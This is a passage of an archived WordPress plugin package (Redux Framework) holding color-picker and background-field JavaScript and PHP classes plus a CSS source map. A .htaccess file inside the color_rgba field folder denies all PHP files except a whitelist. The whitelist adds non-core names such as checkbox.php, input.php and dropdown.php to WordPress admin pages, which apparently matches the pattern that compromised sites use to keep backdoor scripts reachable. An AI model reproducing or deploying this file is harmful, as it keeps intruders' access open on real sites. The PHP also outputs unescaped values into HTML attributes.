e=B(this),a=e;e.hasClass("redux-field-container")||(a=e.parents(".redux-field-container:first")),a.is(":hidden")||a.hasClass("redux-field-init")&&(a.removeClass("redux-field-init"),redux.field_objects.color_rgba.modInit(e),redux.field_objects.color_rgba.initColorPicker(e))})},redux.field_objects.color_rgba.modInit=function(e){redux.field_objects.color_rgba.fieldID=e.find(".redux-color_rgba-container").data("id")},redux.field_objects.color_rgba.initColorPicker=function(c){var e=redux.field_objects.color_rgba.fieldID,a=c.find(".redux-color-rgba"),r=a.data("current-alpha");r=Number(null==r?1:r);var t=a.data("current-color");t=""===t||"transparent"===t?"":t;var d=a.data("output-transparent");d=Boolean(""!==d&&d);var o=c.find(".redux-color-rgba-container"),l=o.data("palette");l=decodeURIComponent(l),null===(l=JSON.parse(l))&&(l=[["#000000","#434343","#666666","#999999","#b7b7b7","#cccccc","#d9d9d9","#efefef","#f3f3f3","#ffffff"],["#980000","#ff0000","#ff9900","#ffff00","#00ff00","#00ffff","#4a86e8","#0000ff","#9900ff","#ff00ff"],["#e6b8af","#f4cccc","#fce5cd","#fff2cc","#d9ead3","#d9ead3","#c9daf8","#cfe2f3","#d9d2e9","#ead1dc"],["#dd7e6b","#ea9999","#f9cb9c","#ffe599","#b6d7a8","#a2c4c9","#a4c2f4","#9fc5e8","#b4a7d6","#d5a6bd"],["#cc4125","#e06666","#f6b26b","#ffd966","#93c47d","#76a5af","#6d9eeb","#6fa8dc","#8e7cc3","#c27ba0"],["#a61c00","#cc0000","#e69138","#f1c232","#6aa84f","#45818e","#3c78d8","#3d85c6","#674ea7","#a64d79"],["#85200c","#990000","#b45f06","#bf9000","#38761d","#134f5c","#1155cc","#0b5394","#351c75","#741b47"],["#5b0f00","#660000","#783f04","#7f6000","#274e13","#0c343d","#1c4587","#073763","#20124d","#4c1130"]]);var n=o.data("show-input");n=Boolean(""!==n&&n);var f=o.data("show-initial");f=Boolean(""!==f&&f);var i=o.data("show-alpha");i=Boolean(""!==i&&i);var s=o.data("allow-empty");s=Boolean(""!==s&&s);var u=o.data("show-palette");u=Boolean(""!==u&&u);var b=o.data("show-palette-only");b=Boolean(""!==b&&b);var x=o.data("show-selection-palette");x=Boolean(""!==x&&x);var p=Number(o.data("max-palette-size")),g=o.data("clickout-fires-change");g=Boolean(""!==g&&g);var h=String(o.data("choose-text")),_=String(o.data("cancel-text")),v=String(o.data("input-text")),m=o.data("show-buttons");m=Boolean(""!==m&&m);var w=String(o.data("container-class")),j=String(o.data("replacer-class"));a.spectrum({color:t,showAlpha:i,showInput:n,allowEmpty:s,className:"redux-color-rgba",showInitial:f,showPalette:u,showSelectionPalette:x,maxPaletteSize:p,showPaletteOnly:b,clickoutFiresChange:g,chooseText:h,cancelText:_,showButtons:m,containerClassName:w,replacerClassName:j,preferredFormat:"hex6",localStorageKey:"redux.color-rgba."+e,palette:l,inputText:v,change:function(e){var a,r,t;r=null===e?(a=!0===d?"transparent":null,null):(a=e.toHexString(),e.alpha),t="transparent"!=a?redux.field_objects.color_rgba.hexToRGBA(a,r):"transparent";var o=B(this).data("block-id");c.find("input#"+o+"-color").val(a),c.find("input#"+o+"-alpha").val(r),c.find("input#"+o+"-rgba").val(t),redux_change(c.find(".redux-color-rgba-container"))}})}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.php������������������������������������������0000644�����������������00000030336�14720701300�0020002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package Redux Framework * @subpackage Spectrum Color Picker * @author Kevin Provance (kprovance) * @version 1.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_color_rgba' ) ) { /** * Main ReduxFramework_color_rgba class * * @since 1.0.0 */ class ReduxFramework_color_rgba { /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $field Field sections. * @param array $value Values. * @param array $parent Parent object. * * @return void */ public function __construct( $field, $value , $parent ) { // Set required variables $this->parent = $parent; $this->field = (array) $field; $this->value = $value; $defaults = array( 'color' => '', 'alpha' => 1, 'rgba' => '' ); $option_defaults = array( "show_input" => true, "show_initial" => false, "show_alpha" => true, "show_palette" => false, "show_palette_only" => false, "max_palette_size" => 10, "show_selection_palette" => false, "allow_empty" => true, "clickout_fires_change" => false, "choose_text" => __( 'Choose', 'redux-framework' ), "cancel_text" => __( 'Cancel', 'redux-framework' ), "show_buttons" => true, "input_text" => __( 'Select Color', 'redux-framework' ), "palette" => null, ); $this->value = wp_parse_args( $this->value, $defaults ); $this->field['options'] = isset( $this->field['options'] ) ? wp_parse_args( $this->field['options'], $option_defaults ) : $option_defaults; // Convert empty array to null, if there. $this->field['options']['palette'] = empty( $this->field['options']['palette'] ) ? null : $this->field['options']['palette']; $this->field['output_transparent'] = isset( $this->field['output_transparent'] ) ? $this->field['output_transparent'] : false; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $field_id = $this->field['id']; // Color picker container echo '<div class="redux-color-rgba-container ' . $this->field['class'] . '" data-id="' . $field_id . '" data-show-input="' . $this->field['options']['show_input'] . '" data-show-initial="' . $this->field['options']['show_initial'] . '" data-show-alpha="' . $this->field['options']['show_alpha'] . '" data-show-palette="' . $this->field['options']['show_palette'] . '" data-show-palette-only="' . $this->field['options']['show_palette_only'] . '" data-show-selection-palette="' . $this->field['options']['show_selection_palette'] . '" data-max-palette-size="' . $this->field['options']['max_palette_size'] . '" data-allow-empty="' . $this->field['options']['allow_empty'] . '" data-clickout-fires-change="' . $this->field['options']['clickout_fires_change'] . '" data-choose-text="' . $this->field['options']['choose_text'] . '" data-cancel-text="' . $this->field['options']['cancel_text'] . '" data-input-text="' . $this->field['options']['input_text'] . '" data-show-buttons="' . $this->field['options']['show_buttons'] . '" data-palette="' . urlencode( json_encode( $this->field['options']['palette'] ) ) . '" >'; // Colour picker layout $opt_name = $this->parent->args['opt_name']; if ( '' == $this->value['color'] || 'transparent' == $this->value['color'] ) { $color = ''; } else { $color = Redux_Helpers::hex2rgba( $this->value['color'], $this->value['alpha'] ); } if ( $this->value['rgba'] == '' && $this->value['color'] != '' ) { $this->value['rgba'] = Redux_Helpers::hex2rgba( $this->value['color'], $this->value['alpha'] ); } echo '<input name="' . $this->field['name'] . $this->field['name_suffix'] . '[color]" id="' . $field_id . '-color" class="redux-color-rgba" type="text" value="' . $this->value['color'] . '" data-color="' . $color . '" data-id="' . $field_id . '" data-current-color="' . $this->value['color'] . '" data-block-id="' . $field_id . '" data-output-transparent="' . $this->field['output_transparent'] . '" />'; echo '<input type="hidden" class="redux-hidden-color" data-id="' . $field_id . '-color" id="' . $field_id . '-color-hidden" value="' . $this->value['color'] . '" />'; // Hidden input for alpha channel echo '<input type="hidden" class="redux-hidden-alpha" data-id="' . $field_id . '-alpha" name="' . $this->field['name'] . $this->field['name_suffix'] . '[alpha]' . '" id="' . $field_id . '-alpha" value="' . $this->value['alpha'] . '" />'; // Hidden input for rgba echo '<input type="hidden" class="redux-hidden-rgba" data-id="' . $field_id . '-rgba" name="' . $this->field['name'] . $this->field['name_suffix'] . '[rgba]' . '" id="' . $field_id . '-rgba" value="' . $this->value['rgba'] . '" />'; echo '</div>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { // Set up min files for dev_mode = false. $min = Redux_Functions::isMin(); // Field dependent JS if ( ! wp_script_is( 'redux-field-color-rgba-js' ) ) { wp_enqueue_script( 'redux-field-color-rgba-js', ReduxFramework::$_url . 'inc/fields/color_rgba/field_color_rgba' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-spectrum-js' ), time(), true ); } // Spectrum CSS if ( ! wp_style_is( 'redux-spectrum-css' ) ) { wp_enqueue_style( 'redux-spectrum-css' ); } if ( $this->parent->args['dev_mode'] ) { if ( ! wp_style_is( 'redux-field-color-rgba-css' ) ) { wp_enqueue_style( 'redux-field-color-rgba-css', ReduxFramework::$_url . 'inc/fields/color_rgba/field_color_rgba.css', array(), time(), 'all' ); } } } /** * getColorVal. Returns formatted color val in hex or rgba. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access private * @return string */ private function getColorVal() { // No notices $color = ''; $alpha = 1; $rgba = ''; // Must be an array if ( is_array( $this->value ) ) { // Enum array to parse values foreach ( $this->value as $id => $val ) { // Sanitize alpha if ( $id == 'alpha' ) { $alpha = ! empty( $val ) ? $val : 1; } elseif ( $id == 'color' ) { $color = ! empty( $val ) ? $val : ''; } elseif ( $id == 'rgba' ) { $rgba = ! empty( $val ) ? $val : ''; $rgba = Redux_Helpers::hex2rgba( $color, $alpha ); } } // Only build rgba output if alpha ia less than 1 if ( $alpha < 1 && $alpha <> '' ) { $color = $rgba; } } return $color; } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( ! empty( $this->value ) ) { $style = ''; $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $color_val = $this->getColorVal(); $style .= $mode . ':' . $color_val . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { if ( ! empty( $color_val ) ) { $css = Redux_Functions::parseCSS( $this->field['output'], $style, $color_val ); $this->parent->outputCSS .= $css; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { if ( ! empty( $color_val ) ) { $css = Redux_Functions::parseCSS( $this->field['compiler'], $style, $color_val ); $this->parent->compilerCSS .= $css; } } } } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.js�������������������������������������������0000644�����������������00000032323�14720701300�0017641 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Redux Background * Dependencies : jquery, wp media uploader * Feature added by : Dovy Paukstys * Date : 07 Jan 2014 */ /*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.background = redux.field_objects.background || {}; redux.field_objects.background.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-background:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } // Remove the image button el.find( '.redux-remove-background' ).unbind( 'click' ).on( 'click', function( e ) { e.preventDefault(); redux.field_objects.background.removeImage( $( this ).parents( '.redux-container-background:first' ) ); return false; } ); // Upload media button el.find( '.redux-background-upload' ).unbind().on( 'click', function( event ) { redux.field_objects.background.addImage( event, $( this ).parents( '.redux-container-background:first' ) ); } ); el.find( '.redux-background-input' ).on( 'change', function() { redux.field_objects.background.preview( $( this ) ); } ); el.find( '.redux-color' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); $( '#' + e.target.id + '-transparency' ).removeAttr( 'checked' ); redux.field_objects.background.preview( $( this ) ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); redux.field_objects.background.preview( $( this ) ); } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); el.find( '.redux-color' ).on( 'focus', function() { $( this ).data( 'oldcolor', $( this ).val() ); } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.redux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.redux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } redux.field_objects.background.preview( $( this ) ); redux_change( $( this ) ); } ); var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( " .redux-background-repeat, .redux-background-clip, .redux-background-origin, .redux-background-size, .redux-background-attachment, .redux-background-position" ).select2( default_params ); } ); }; // Update the background preview redux.field_objects.background.preview = function( selector ) { var parent = $( selector ).parents( '.redux-container-background:first' ); var preview = $( parent ).find( '.background-preview' ); if ( !preview ) { // No preview present return; } var hide = true; var css = 'height:' + preview.height() + 'px;'; $( parent ).find( '.redux-background-input' ).each( function() { var data = $( this ).serializeArray(); data = data[0]; if ( data && data.name.indexOf( '[background-' ) != -1 ) { if ( data.value !== "" ) { hide = false; data.name = data.name.split( '[background-' ); data.name = 'background-' + data.name[1].replace( ']', '' ); if ( data.name == "background-image" ) { css += data.name + ':url("' + data.value + '");'; } else { css += data.name + ':' + data.value + ';'; } } } } ); if ( !hide ) { preview.attr( 'style', css ).fadeIn(); } else { preview.slideUp(); } }; // Add a file via the wp.media function redux.field_objects.background.addImage = function( event, selector ) { event.preventDefault(); var frame; var jQueryel = $( this ); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media( { multiple: false, library: { //type: 'image' //Only allow images }, // Set the title of the modal. title: jQueryel.data( 'choose' ), // Customize the submit button. button: { // Set the text of the button. text: jQueryel.data( 'update' ) // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. } } ); // When an image is selected, run a callback. frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); frame.close(); //console.log(attachment.attributes.type); if ( attachment.attributes.type !== "image" ) { return; } selector.find( '.upload' ).val( attachment.attributes.url ); selector.find( '.upload-id' ).val( attachment.attributes.id ); selector.find( '.upload-height' ).val( attachment.attributes.height ); selector.find( '.upload-width' ).val( attachment.attributes.width ); redux_change( $( selector ).find( '.upload-id' ) ); var thumbSrc = attachment.attributes.url; if ( typeof attachment.attributes.sizes !== 'undefined' && typeof attachment.attributes.sizes.thumbnail !== 'undefined' ) { thumbSrc = attachment.attributes.sizes.thumbnail.url; } else if ( typeof attachment.attributes.sizes !== 'undefined' ) { var height = attachment.attributes.height; for ( var key in attachment.attributes.sizes ) { var object = attachment.attributes.sizes[key]; if ( object.height < height ) { height = object.height; thumbSrc = object.url; } } } else { thumbSrc = attachment.attributes.icon; } selector.find( '.upload-thumbnail' ).val( thumbSrc ); if ( !selector.find( '.upload' ).hasClass( 'noPreview' ) ) { selector.find( '.screenshot' ).empty().hide().append( '<img class="redux-option-image" src="' + thumbSrc + '">' ).slideDown( 'fast' ); } selector.find( '.redux-remove-background' ).removeClass( 'hide' );//show "Remove" button selector.find( '.redux-background-input-properties' ).slideDown(); redux.field_objects.background.preview( selector.find( '.upload' ) ); } ); // Finally, open the modal. frame.open(); }; // Update the background preview redux.field_objects.background.removeImage = function( selector ) { // This shouldn't have been run... if ( !selector.find( '.redux-remove-background' ).addClass( 'hide' ) ) { return; } selector.find( '.redux-remove-background' ).addClass( 'hide' ); //hide "Remove" button selector.find( '.upload' ).val( '' ); selector.find( '.upload-id' ).val( '' ); selector.find( '.upload-height' ).val( '' ); selector.find( '.upload-width' ).val( '' ); redux_change( $( selector ).find( '.upload-id' ) ); selector.find( '.redux-background-input-properties' ).hide(); var screenshot = selector.find( '.screenshot' ); // Hide the screenshot screenshot.slideUp(); selector.find( '.remove-file' ).unbind(); // We don't display the upload button if .upload-notice is present // This means the user doesn't have the WordPress 3.5 Media Library Support if ( $( '.section-upload .upload-notice' ).length > 0 ) { $( '.redux-background-upload' ).remove(); } }; })( jQuery ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.css.map��������������������������������������0000644�����������������00000001115�14720701300�0020564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAEQ;;;;;;;;;;;uEAWgC;EAC5B,KAAK,EAAC,gBAAgB;EACtB,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,GAAG;AAItB,2DAAoB;EAChB,OAAO,EAAC,KAAK;EACb,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,UAAU;EAClB,MAAM,EAAC,oBAAoB;AAG/B,0DAAmB;EACf,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,IAAI;AAGvB,4DAAqB;EACjB,aAAa,EAAE,IAAI;AAGvB,+CAAQ;EACJ,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,GAAG;AAKtB,yDAAsB;EAClB,MAAM,EAAE,IAAI;EACZ,UAAU,EAAC,GAAG;EACd,WAAW,EAAE,GAAG;EAChB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,CAAC;;AAOpB,w2BAAqW;EACjW,KAAK,EAAE,eAAe", "sources": ["field_background.scss"], "names": [], "file": "field_background.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.php������������������������������������������0000644�����������������00000055220�14720701300�0020015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Background * @author Dovy Paukstys * @version 3.1.5 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_background' ) ) { /** * Main ReduxFramework_background class * * @since 3.1.5 */ class ReduxFramework_background { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 3.1.5 * @access public * @return void */ function __construct( $field , $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'background-color' => true, 'background-repeat' => true, 'background-attachment' => true, 'background-position' => true, 'background-image' => true, 'background-gradient' => false, 'background-clip' => false, 'background-origin' => false, 'background-size' => true, 'preview_media' => false, 'preview' => true, 'preview_height' => '200px', 'transparent' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); // No errors please $defaults = array( 'background-color' => '', 'background-repeat' => '', 'background-attachment' => '', 'background-position' => '', 'background-image' => '', 'background-clip' => '', 'background-origin' => '', 'background-size' => '', 'media' => array(), ); $this->value = wp_parse_args( $this->value, $defaults ); $defaults = array( 'id' => '', 'width' => '', 'height' => '', 'thumbnail' => '', ); $this->value['media'] = wp_parse_args( $this->value['media'], $defaults ); // select2 args if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } if ( $this->field['background-color'] === true ) { if ( isset( $this->value['color'] ) && empty( $this->value['background-color'] ) ) { $this->value['background-color'] = $this->value['color']; } echo '<input data-id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-color]" id="' . $this->field['id'] . '-color" class="redux-color redux-background-input redux-color-init ' . $this->field['class'] . '" type="text" value="' . $this->value['background-color'] . '" data-default-color="' . ( isset( $this->field['default']['background-color'] ) ? $this->field['default']['background-color'] : "" ) . '" />'; echo '<input type="hidden" class="redux-saved-color" id="' . $this->field['id'] . '-saved-color' . '" value="">'; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['background-color'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo '<label for="' . $this->field['id'] . '-transparency" class="color-transparency-check"><input type="checkbox" class="checkbox color-transparency redux-background-input ' . $this->field['class'] . '" id="' . $this->field['id'] . '-transparency" data-id="' . $this->field['id'] . '-color" value="1"' . $tChecked . '> ' . __( 'Transparent', 'redux-framework' ) . '</label>'; } if ( $this->field['background-repeat'] === true || $this->field['background-position'] === true || $this->field['background-attachment'] === true ) { echo '<br />'; } } if ( $this->field['background-repeat'] === true ) { $array = array( 'no-repeat' => 'No Repeat', 'repeat' => 'Repeat All', 'repeat-x' => 'Repeat Horizontally', 'repeat-y' => 'Repeat Vertically', 'inherit' => 'Inherit', ); echo '<select id="' . $this->field['id'] . '-repeat-select" data-placeholder="' . __( 'Background Repeat', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-repeat]" class="redux-select-item redux-background-input redux-background-repeat ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-repeat'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-clip'] === true ) { $array = array( 'inherit' => 'Inherit', 'border-box' => 'Border Box', 'content-box' => 'Content Box', 'padding-box' => 'Padding Box', ); echo '<select id="' . $this->field['id'] . '-clip-select" data-placeholder="' . __( 'Background Clip', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-clip]" class="redux-select-item redux-background-input redux-background-clip ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-clip'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-origin'] === true ) { $array = array( 'inherit' => 'Inherit', 'border-box' => 'Border Box', 'content-box' => 'Content Box', 'padding-box' => 'Padding Box', ); echo '<select id="' . $this->field['id'] . '-origin-select" data-placeholder="' . __( 'Background Origin', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-origin]" class="redux-select-item redux-background-input redux-background-origin ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-origin'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-size'] === true ) { $array = array( 'inherit' => 'Inherit', 'cover' => 'Cover', 'contain' => 'Contain', ); echo '<select id="' . $this->field['id'] . '-size-select" data-placeholder="' . __( 'Background Size', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-size]" class="redux-select-item redux-background-input redux-background-size ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-size'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-attachment'] === true ) { $array = array( 'fixed' => 'Fixed', 'scroll' => 'Scroll', 'inherit' => 'Inherit', ); echo '<select id="' . $this->field['id'] . '-attachment-select" data-placeholder="' . __( 'Background Attachment', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-attachment]" class="redux-select-item redux-background-input redux-background-attachment ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-attachment'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-position'] === true ) { $array = array( 'left top' => 'Left Top', 'left center' => 'Left center', 'left bottom' => 'Left Bottom', 'center top' => 'Center Top', 'center center' => 'Center Center', 'center bottom' => 'Center Bottom', 'right top' => 'Right Top', 'right center' => 'Right center', 'right bottom' => 'Right Bottom', ); echo '<select id="' . $this->field['id'] . '-position-select" data-placeholder="' . __( 'Background Position', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-position]" class="redux-select-item redux-background-input redux-background-position ' . $this->field['class'] . '">'; echo '<option></option>'; foreach ( $array as $k => $v ) { echo '<option value="' . $k . '"' . selected( $this->value['background-position'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } if ( $this->field['background-image'] === true ) { echo '<br />'; if ( empty( $this->value ) && ! empty( $this->field['default'] ) ) { // If there are standard values and value is empty if ( is_array( $this->field['default'] ) ) { if ( ! empty( $this->field['default']['media']['id'] ) ) { $this->value['media']['id'] = $this->field['default']['media']['id']; } else if ( ! empty( $this->field['default']['id'] ) ) { $this->value['media']['id'] = $this->field['default']['id']; } if ( ! empty( $this->field['default']['url'] ) ) { $this->value['background-image'] = $this->field['default']['url']; } else if ( ! empty( $this->field['default']['media']['url'] ) ) { $this->value['background-image'] = $this->field['default']['media']['url']; } else if ( ! empty( $this->field['default']['background-image'] ) ) { $this->value['background-image'] = $this->field['default']['background-image']; } } else { if ( is_numeric( $this->field['default'] ) ) { // Check if it's an attachment ID $this->value['media']['id'] = $this->field['default']; } else { // Must be a URL $this->value['background-image'] = $this->field['default']; } } } if ( empty( $this->value['background-image'] ) && ! empty( $this->value['media']['id'] ) ) { $img = wp_get_attachment_image_src( $this->value['media']['id'], 'full' ); $this->value['background-image'] = $img[0]; $this->value['media']['width'] = $img[1]; $this->value['media']['height'] = $img[2]; } $hide = 'hide '; if ( ( isset( $this->field['preview_media'] ) && $this->field['preview_media'] === false ) ) { $this->field['class'] .= " noPreview"; } if ( ( ! empty( $this->field['background-image'] ) && $this->field['background-image'] === true ) || isset( $this->field['preview'] ) && $this->field['preview'] === false ) { $hide = ''; } $placeholder = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : __( 'No media selected', 'redux-framework' ); echo '<input placeholder="' . $placeholder . '" type="text" class="redux-background-input ' . $hide . 'upload ' . $this->field['class'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[background-image]" id="' . $this->parent->args['opt_name'] . '-' . $this->field['id'] . '-background-image" value="' . $this->value['background-image'] . '" />'; echo '<input type="hidden" class="upload-id ' . $this->field['class'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[media][id]" id="' . $this->parent->args['opt_name'] . '-' . $this->field['id'] . '-media-id" value="' . $this->value['media']['id'] . '" />'; echo '<input type="hidden" class="upload-height" name="' . $this->field['name'] . $this->field['name_suffix'] . '[media][height]" id="' . $this->parent->args['opt_name'] . '-' . $this->field['id'] . '-media-height" value="' . 